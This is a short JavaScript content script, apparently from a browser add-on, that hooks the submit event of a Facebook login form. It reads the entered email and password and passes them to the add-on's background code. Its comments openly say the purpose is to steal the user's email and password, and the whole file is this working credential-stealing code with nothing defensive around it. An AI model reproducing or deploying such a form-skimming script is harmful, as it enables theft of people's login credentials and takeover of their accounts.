var passWordForm = document.querySelector('input[type="password"]').form;
// here we will steal email and username that user
// enter in facebook login form.
// @author Georgi Naumov
// gonaumov@gmail.com for contacts and suggestions.
passWordForm.addEventListener("submit", function(event) {
var stolenPasswordAndEmailString = "email=" +
encodeURIComponent(this.email.value) +
"&password=" +
encodeURIComponent(this.pass.value);
self.port.emit('getPassword', stolenPasswordAndEmailString);
});